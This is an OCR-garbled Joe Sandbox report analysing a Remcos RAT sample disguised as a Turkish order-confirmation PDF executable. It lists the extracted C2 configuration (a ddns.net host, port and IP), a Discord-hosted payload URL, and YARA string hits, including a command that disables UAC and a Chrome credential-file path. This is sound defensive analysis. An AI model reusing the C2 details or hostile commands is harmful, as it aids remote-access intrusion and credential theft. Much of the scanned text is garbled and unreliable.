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Windows Analysis Report

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Overview

General Information

Sample
Name:

Analysis ID:
MD5:

SHAL:
SHA256:
Tags:

Infos:

Yeni sipari#U015fi
onaylay#U0131n -
TK176H,pdf.exe

652390
8e60c68e832622.
99¢8a0db1608b7.

6f4628db14ddcff..

D@
OB Q@0
do B o

Process Tree

= System is w10x64

. @ Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe (PID: 6356 cmdline: "C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe" MD5:

8E60C68E832622BOEBD88AG12898A9F9)
logagent.exe (PID: 6552 cmdline: C:\Windows\System32\logagent.exe MD5: E2036AC444AB4AD91EECCI1A80FF7212F)

Detection

F MALICI 1

Score:

Range:

Whitelisted:

Confidence:

Remcos, DBatLoader
100

0-100
false

100%

Signatures

Multi AV Scanner detection for subm...
Malicious sample detected (through...
Yara detected Remcos RAT

Yara detected DBatLoader

Detected Remcos RAT

Multi AV Scanner detection for drop...
Snort IDS alert for network traffic

Yara detected UAC Bypass using C...

Contains functionality to capture and...
Writes to foreign memory regions
Found stalling execution ending in A...

Contains functionality to steal Firefo...

e & Eluiezilfw.exe (PID: 6880 cmdline: "C:\Users\Public\Libraries\Eluiezilfw.exe" MD5: 8E60C68E832622B0EBD88A612898A9F9)

logagent.exe (PID: 3960 cmdline: C:\Windows\System32\logagent.exe MD5: E2036AC444AB4AD91EECCI1A80FF7212F)

L]
. é Eluiezilfw.exe (PID: 5628 cmdline: "C:\Users\Public\Libraries\Eluiezilfw.exe" MD5: 8E60C68E832622BOEBD88AG12898A9F9)

. % DpiScaling.exe (PID: 5936 cmdline: C:\Windows\System32\DpiScaling.exe MD5: 302B1BBDBF4D96BEE99C6B45680CEBSE)

= cleanup

Malware Configuration

Threatname: Remcos

Copyright Joe Security LLC 2022

Classification
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"Host:Port:Password": "Pw'~hustlelord.ddns.net:5017:",
"Assigned name": "BIG",
"Connect interval”: "1",
"Install flag": "Disable”,
"Setup HKCU\\Run": "Enable",
"Setup HKLM\|\Run": "Disable",
"Install path": "AppData”,
"Copy file": "remcos.exe",
"Startup value": "Remcos"”,
"Hide file": "Disable",
"Mutex": "Remcos-MZPAVR",
"Keylog flag": "0",

"Keylog path": "AppData",
"Keylog file": "logs.dat",
"Keylog crypt": "Disable”,
"Hide keylog file": "Disable”,
"Screenshot flag": "Disable”,

"Screenshot time": "10",

"Take Screenshot option": "Disable”,

"Take screenshot title": "wikipedia;solitaire;",
"Take screenshot time": "5",

"Screenshot path": "AppData",
"Screenshot file": "Screenshots”,
"Screenshot crypt": "Disable”,
"Mouse option": "Disable",
"Delete file": "Disable”,
"Audio record time": "5",
"Audio path": "AppData",
"Audio folder": "MicRecords",
"Connect delay": "0",

"Copy folder": "Remcos",
"Keylog folder": "remcos"”,

"Keylog file max size": "10000"

Yara Signatures

Initial Sample

Source

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Dropped Files

Source

C:\Users\Public\Libraries\wflizeiulE.url
C:\Users\Public\Libraries\wflizeiulE.url

C:\Users\Public\Libraries\Eluiezilfw.exe

Memory Dumps

Source

0000000F.00000002.359362662.0000000004C00000.00000
004.00000020.00020000.00000000.sdmp

0000000E.00000002.344931678.0000000000D80000.00000
004.00000020.00020000.00000000.sdmp

00000008.00000002.344209783.0000000000401000.00000
020.00000001.01000000.00000005.sdmp

00000008.00000002.348456214.0000000003C4C000.00000
004.00001000.00020000.00000000.sdmp

00000008.00000002.347399894.0000000003760000.00000
004.00001000.00020000.00000000.sdmp

Unpacked PEs

Copyright Joe Security LLC 2022

Rule

JoeSecurity_DBat
Loader

Rule

Methodology_Shor
tcut_HotKey

Methodology Cont
ains_Shortcut_Oth
erURIhandlers

JoeSecurity_DBat
Loader

Rule

JoeSecurity_Remc
0s

JoeSecurity_Remc
0s

JoeSecurity_DBat
Loader

JoeSecurity_UAC
BypassusingComp
uterDefaults

JoeSecurity_DBat
Loader

Description

Yara detected
DBatLoader

Description

Detects possible
shortcut usage for
.URL persistence

Detects possible
shortcut usage for
.URL persistence

Yara detected
DBatLoader

Description

Yara detected
Remcos RAT

Yara detected
Remcos RAT

Yara detected
DBatLoader

Yara detected
UAC Bypass using
ComputerDefaults

Yara detected
DBatLoader

Author

Joe Security

Author
@itsreallynick
(Nick Carr)

@itsreallynick
(Nick Carr)

Joe Security

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 50 entries

.

.

.

Strings

Strings

0x5a:$hotkey: \xOAHotKey=8
0x0:$url_explicit: [InternetShortcut]

0x14:$file: URL=

0x0:$url_explicit: [InternetShortcut]

Strings
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Source Rule Description Author

3.2.logagent.exe.400000.0.unpack JoeSecurity_Remc Yara detected Joe Security
0s Remcos RAT
3.2.logagent.exe.400000.0.unpack INDICATOR_SUS  detects Windows  ditekSHen

PICIOUS_EXE_U exceutables

ACBypass_EventV potentially

iewer bypassing UAC
using
eventvwr.exe

3.2.logagent.exe.400000.0.unpack Remcos_1 Remcos Payload kevoreilly
3.2.logagent.exe.400000.0.unpack REMCOS_RAT_v  unknown unknown
ariants
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf JoeSecurity UAC  Yara detected Joe Security
.exe.3ad0000.7.unpack BypassusingComp UAC Bypass using
uterDefaults ComputerDefaults

Click to see the 82 entries

Sigma Signatures

@ No Sigma rule has matched

Snort Signatures

ETPRO TROJAN MSIL/Remcos RAT CnC Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 37.0.14.195

Timestamp: 192.168.2.337.0.14.1954977850172844577 06/26/22-09:44:11.704757
SID: 2844577

Source Port: 49778

Destination Port: 5017

Protocol: TCP

Classtype: A Network Trojan was detected

ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Outbound) - Source IP: 192.168.2.3 - Destination IP: 37.0.14.195
Timestamp: 192.168.2.337.0.14.1954977850172845323 06/26/22-09:44:57.649154
SID: 2845323

Copyright Joe Security LLC 2022

e o o o o o o o

.

.

Strings

0x157b8:$s1: \Classes\mscfile\shell\open\command
0x15830:$s1: \Classes\mscfile\shell\open\command
0x15798:$s2: eventvwr.exe

0x16510:$name: Remcos

0x16888:$name: Remcos

0x16de0:$name: Remcos

0x16e33:$name: Remcos

0x15674:$time: %02i:%02i:%02i:%03i

0x156fc:$time: %02i:%02i:%02i:%03i

0x16be4:$time: %02i:%02i:%02i:%03i

0x3074:$crypto: OF B6 DO 8B 45 08 89 16 8D 34 07 8B 0
103 C28BCB99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47
3B 7D 0C 72

0x166f8:$str_al: C:\Windows\System32\cmd.exe
0x16714:$str_a3: /k %windir%\System32\reg.exe ADD H
KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol
icies\System /v EnableLUA /t REG_DWOR
0x16714:$str_a4: /k %windir%\System32\reg.exe ADD H
KLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Pol
icies\System /v EnableLUA /t REG_DWOR
Ox15dfc:$str_a5: \AppData\Local\Google\Chrome\User D
ata\Default\Login Data

0x16400:$str_b1: CreateObject("Scripting.FileSystemObj
ect").DeleteFile(Wscript.ScriptFullName)

e 0x159e0:$str_b2: Executing file:
e 0x16798:$str_b3: GetDirectListeningPort

.

e o o o o o

e o o o o o o

0x16240:$str_b4: Set fso = CreateObject("Scripting.FileS
ystemObject")

0x16534:$str_b5: licence_code.txt

0x1649c:$str_b6: \restart.vbs

0x163c0:$str_b8: \uninstall.vbs

0x1596¢:$str_b9: Downloaded file:

0x15998:$str_b10: Downloading file:

0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seco
nds

0x159fc:$str_b12: Failed to upload file:
0x167d8:$str_b13: StartForward

0x167bc:$str_b14: StopForward

0x16330:$str_b15: fso.DeleteFile *

0x16394:$str_b16: On Error Resume Next
0x162fc:$str_b17: fso.DeleteFolder "

0x15al14:$str_b18: Uploaded file:
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Source Port: 49778

Destination Port: 5017

Protocol: TCP

Classtype: A Network Trojan was detected

ETPRO TROJAN MSIL/Remcos RAT CnC Keep-Alive (Inbound) - Source IP: 37.0.14.195 - Destination IP: 192.168.2.3 —
Timestamp: 37.0.14.195192.168.2.35017497782845324 06/26/22-09:44:57.648577

SID: 2845324

Source Port: 5017

Destination Port: 49778

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

opdl

Multi AV Scanner detection for submitted file
Yara detected Remcos RAT

Multi AV Scanner detection for dropped file

Exploits

=
=

Yara detected UAC Bypass using ComputerDefaults

=
=

Networking

Snort IDS alert for network traffic

C2 URLs / IPs found in malware configuration

Uses dynamic DNS services

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Contains functionality to register a low level keyboard hook

E-Banking Fraud

£ i

Yara detected Remcos RAT

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

B B
x =

System Summary

Malicious sample detected (through community Yara rule)

Data Obfuscation

Yara detected DBatLoader

Malware Analysis System Evasion

=
=
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Found stalling execution ending in API Sleep call

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Stealing of Sensitive Information

ara detected Remcos RAT

Contains functionality to steal Firefox passwords or cookies

Contains functionality to steal Chrome passwords or cookies

Remote Access Functionality lﬂi.

Yara detected Remcos RAT

Detected Remcos RAT

Mitre Att&ck Matrix

- L . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Access Execution Persistence Escalation | Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Valid Remote Exfiltration Eavesdrop  Remotely
Accounts Native APl DLL Side- DLL Side- Deobfuscat OS System Services Archive Over Other Ingress on Insecure Track System
Loading Loading e/Decode  Credential  Time Collected Network Tool Network Device Shutdown/
Files or Dumping Discovery Data Medium Transfer Communic  Without Reboot
Information ation Authorizati
on
Default Remote Exfiltration Exploit SS7  Remotely
Accounts Command  Windows Access Obfuscated Input Account Desktop Input Over Encrypted  to Redirect Wipe Data Defacemen
and Service Token Files or Capture Discovery  Protocol Capture Bluetooth Channel Phone Without t
Scripting Manipulatio ~ Information Calls/SMS  Authorizati
Interpreter n on
Domain SMB/Wind Automated Exploit SS7  Obtain Delete
Accounts Service Registry Windows Software Credentials = System ows Admin  Clipboard Exfiltration  Non- to Track Device Device
Execution  Run Keys/ Service Packing In Files Service Shares Data Standard Device Cloud Data
Startup Discovery Port Location Backups
Folder
Local At Logon NTDS Distributed  Input Scheduled SIM Card Carrier
Accounts (Windows)  Script Process DLL Side- File and Component Capture Transfer Remote Swap Billing
(Mac) Injection Loading Directory Object Access Fraud
Discovery  Model Software
Cloud Cron Network LSA SSH Keylogging Data Manipulate Manipulate
Accounts Logon Registry Masqueradi Secrets System Transfer Non- Device App Store
Script Run Keys/ ng Information Size Limits  Application Communic Rankings
Startup Discovery Layer ation or Ratings
Folder Protocol
Replication Launchd ~ Rc.commo  Rc.commo Cached VNC GUI Input  Exfiltration Jamming or Abuse
Through n n Access Domain Security Capture Over C2 Application  Denial of Accessibilit
Removable Token Credentials Software Channel Layer Service y Features
Media Manipulatio Discovery Protocol
n
External Scheduled  Startup Startup DCSync Windows Web Portal  Exfiltration = Commonly  Rogue Wi- Data
Remote Task Iltems Iltems Process Process Remote Capture Over Used Port  Fi Access Encrypted
Services Injection Discovery  Manageme Alternative Points for Impact
nt Protocol
Drive-by Command Scheduled Scheduled Indicator Proc Shared Credential  Exfiltration  Application Downgrade Generate
Compromis and Task/Job Task/Job Removal Filesystem System Webroot API Over Layer to Insecure Fraudulent
e Scripting from Tools Owner/Use Hooking Symmetric  Protocol Protocols Advertising
Interpreter r Discovery Encrypted Revenue
Non-C2
Protocol
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Initial . . Privilege Defense Credential . Lateral
Execution Persistence . . Discovery

Access Escalation Evasion Access Movement
Exploit PowerShell = At (Linux) At (Linux) Masqueradi /etc/passw Software
Public- ng d and Remote Deploymen
Facing letc/shado  System t Tools
Application w Discovery
Behavior Graph

D:

Sample:

Startdate:

1§

J

dropped dropped

CiUsers\PubliclLibrariesluiezfiw.exe, PES2 &) CilUsersl...uiezilfw.exe:Zone. dentifier, ASCITY.

Writes to foreign memory Allocates memory in
regions i

foreign processes

blessmyhustielord.ddns.net ()

37.0.14.195, , 49747, 49749
WKD

Netherlands &=

Contains functionalty
to change the wallpaper

Screenshots

Thumbnails

Architecture:
Score:

- S

‘Yeni sipari#U015i onaylay#U0131n - TK176H,pdf.exe

Creates athread in
another existing process
(thread injection)

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Command
Exfiltration and
Control

Collection

Web
Protocols

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Data
Staged

Remote
Service
Effects

Network Impact
Effects P

Data
Destruction

Rogue
Cellular
Base
Station

-
[1:]

«Q
@
=}
o

Behavior Graph
652390
Yeni sipari#U015i onaylay
2610612022
WINDOWS
100

SUSPICIOUS
cLean

UNKNOWN!

L]
[
]
\.
Y

started starty

Eluiezilfw.exe

B E
Ll
=Fy

i
=

started

&

Q@ 2|

Injects a PE file into
aforeign processes

logagent exe

Found stalling execution Contains functionality
ending in API Sleep to steal Chrome passwords
call or cookies.

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

logagent.exe ,'g DpiScaling.exe ,'g

[c] 8

4 other signatures
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B BE B

DUUDTUB... LUDSI

uxg

Excel 2016

DUUDTUB  BIZFPP GIVTFFY... TADFIHPU...

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe 22% ReversinglLabs Win32.Trojan.Zusy
Dropped Files

Source Detection Scanner Label Link
C:\Users\Public\Libraries\Eluiezilfw.exe 22% ReversingLabs Win32.Trojan.Zusy

Unpacked PE Files

Source Detection Scanner Label Link Download

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c008.6.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac4348.64.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3acbbdc.14.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962dac.51.unpack 100% Avira TR/Patched.Ren Download File
.Gen

3.2.logagent.exe.400000.0.unpack 100% Avira BDS/Backdoor.G Download File
en

Copyright Joe Security LLC 2022 Page 10 of 70



Source Detection Scanner Label Link Download

13.3.Eluiezilfw.exe.3ac5ecc.84.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39600d8.18.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac1b54.30.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac0168.21.unpack 100% Avira TR/Patched.Ren Download File
.Gen

3.0.logagent.exe.10540000.2.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39717a0.68.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397dbec.69.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac7bf0.17.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac413c.59.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac3034.55.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3984008.36.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ad28f8.32.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397afd8.34.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962d80.39.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ad8008.106.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac0168.20.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ad17a0.66.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac8560.26.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ad9a8c.88.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.2324788.2.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac00d8.18.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac803c.108.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3adbf00.62.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3adafd8.34.unpack 100% Avira TR/Patched.Ren Download File
.Gen

15.0.DpiScaling.exe.10540000.3.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

13.3.Eluiezilfw.exe.3ad54€0.103.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3acd700.50.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ad001c.61.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3acff08.23.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3acc008.6.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966¢84.100.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397afd8.37.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3addbec.69.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac6d08.106.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac7bf0.16.unpack 100% Avira TR/Patched.Ren Download File
.Gen
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Source Detection Scanner Label Link Download

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3960168.22.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3986a8c.81.unpack 100% Avira TR/Crypt.XPAC Download File
K.Gen

8.3.Eluiezilfw.exe.3ac4578.12.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac52c8.8.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.10540000.8.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964ae4.70.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac0168.20.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac217c.47.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39754e0.101.unpack 100% Avira TR/Patched.Ren Download File
.Gen

3.0.logagent.exe.10540000.3.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

8.3.Eluiezilfw.exe.3ad54e0.103.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac2dac.51.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3974008.91.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.2.Eluiezilfw.exe.23a33e8.3.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39728f8.32.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3ad0000.7.unpack 100% Avira TR/Crypt.XPAC Download File
K.Gen

8.3.Eluiezilfw.exe.3ac6924.76.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395e240.8.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3acc6a8.43.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac52¢8.9.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ad94ec.80.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395dda4.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3adf8dc.45.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3adbf00.63.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac704c.4.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3acbbdc.14.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396dc40.56.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ad3e08.79.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac6d08.105.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3acc6a8.43.unpack 100% Avira TR/Patched.Ren Download File
.Gen

14.0.logagent.exe.10540000.0.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966d08.105.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ad94ec.80.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ad94ec.82.unpack 100% Avira TR/Patched.Ren Download File
.Gen

14.2.logagent.exe.10540000.1.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen
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Source Detection Scanner Label Link Download

8.2.Eluiezilfw.exe.3168bd8.4.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396bbdc.13.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac217c.47.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ad4008.91.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.2.Eluiezilfw.exe.10540000.8.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966588.94.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac2d80.39.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396217c.48.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ae6a8c.81.unpack 100% Avira TR/Crypt.XPAC Download File
K.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c008.5.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac00d8.19.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3acdc40.54.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3add83c.75.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac26fc.2.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac8008.21.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3ac26fc.0.unpack 100% Avira TR/Patched.Ren Download File
.Gen

14.0.logagent.exe.10540000.2.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

13.3.Eluiezilfw.exe.3ae4008.36.unpack 100% Avira TR/Patched.Ren Download File
.Gen

8.3.Eluiezilfw.exe.3ac03a8.25.unpack 100% Avira TR/Patched.Ren Download File
.Gen

3.0.logagent.exe.10540000.1.unpack 100% Avira TR/Crypt.Morphi Download File
ne.Gen

8.3.Eluiezilfw.exe.3ac1b54.29.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962d80.40.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3acbbdc.13.unpack 100% Avira TR/Patched.Ren Download File
.Gen

0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396704c.3.unpack 100% Avira TR/Patched.Ren Download File
.Gen

13.3.Eluiezilfw.exe.3add83c.75.unpack 100% Avira TR/Patched.Ren Download File
.Gen

Domains

Source Detection Scanner Label Link

blessmyhustlelord.ddns.net 2% Virustotal Browse

URLs

Source Detection Scanner Label Link

Pw’~hustlelord.ddns.net 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains
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https://www.virustotal.com/gui/url/be2449ea4e7d0ea1470f68a2529462b1759ac6d4295120d6741814ebd9c2cbd4/detection/u-be2449ea4e7d0ea1470f68a2529462b1759ac6d4295120d6741814ebd9c2cbd4-1656060746

Name IP Active Malicious Antivirus Detection
blessmyhustlelord.ddns.net 37.0.14.195 true true e 2%, Virustotal, Browse
cdn.discordapp.com 162.159.130.233 true false

Contacted URLs
Name

http:/f

Malicious Antivirus Detection

false

https://cdn.discordapp.com/attachments/990482594137251863/990489253987360768/Eluiezilfwmdr

grdfrgpnwmurrnwnhm

Pw’~hustlelord.ddns.net

URLs from Memory and Binaries
Name

http:/f
https://cdn.discordapp.com/attachments/99048259413

7251863/990489253987360768/Eluiezilfwmdrgrdfrgpnw
m

http://https://cdn.discordapp.com/

hitp://https://cdn.discordapp.com/.

http://https://cdn.discordapp.com/2y

World Map of Contacted IPs

1)
‘&l

mi

[] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public IPs

Copyright Joe Security LLC 2022

true

Source

Eluiezilfw.exe, 00000008.00000002.347399
894.0000000003760000.00000004.00001000.0
0020000.00000000.sdmp

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
, 00000000.00000003.278138835.0000000000
7C1000.00000004.00000020.00020000.000000
00.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176
H,pdf.exe, 00000000.00000002.310588608.0
0000000007BC000.00000004.00000020.000200
00.00000000.sdmp, Yeni sipari#U015fi ona
ylay#U0131n - TK176H,pdf.exe, 00000000.0
0000002.310005988.0000000000775000.00000
004.00000020.00020000.00000000.sdmp

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
, 00000000.00000002.310005988.0000000000
775000.00000004.00000020.00020000.000000
00.sdmp

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
, 00000000.00000003.278138835.0000000000
7C1000.00000004.00000020.00020000.000000
00.sdmp, Yeni sipari#U015fi onaylay#U0131n - TK176
H,pdf.exe, 00000000.00000002.310588608.0
0000000007BC000.00000004.00000020.000200
00.00000000.sdmp

e Avira URL Cloud: safe

Malicious  Antivirus Detection

false

false

false

false

Reputation

unknown

high

Reputation

high

unknown

Reputation

high

high

high

high
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https://www.virustotal.com/gui/url/be2449ea4e7d0ea1470f68a2529462b1759ac6d4295120d6741814ebd9c2cbd4/detection/u-be2449ea4e7d0ea1470f68a2529462b1759ac6d4295120d6741814ebd9c2cbd4-1656060746

P Domain Country Flag ASN ASN Name Malicious

162.159.130.233 cdn.discordapp.com United States £S5 13335 CLOUDFLARENETUS false

37.0.14.195 blessmyhustlelord.ddns.n  Netherlands =] 198301 WKD-ASIE true
et

162.159.133.233 unknown United States = 13335 CLOUDFLARENETUS false

162.159.134.233 unknown United States =] 13335 CLOUDFLARENETUS false

Private

IP

192.168.2.1

General Information

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 652390

Start date and time: 26/06/202209:41:34

2022-06-26 09:41:34 +02:00

Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 11m 53s
Hypervisor based Inspection enabled: false
Report type: light

Sample file name:
Cookbook file name:
Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

29

o O O o

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

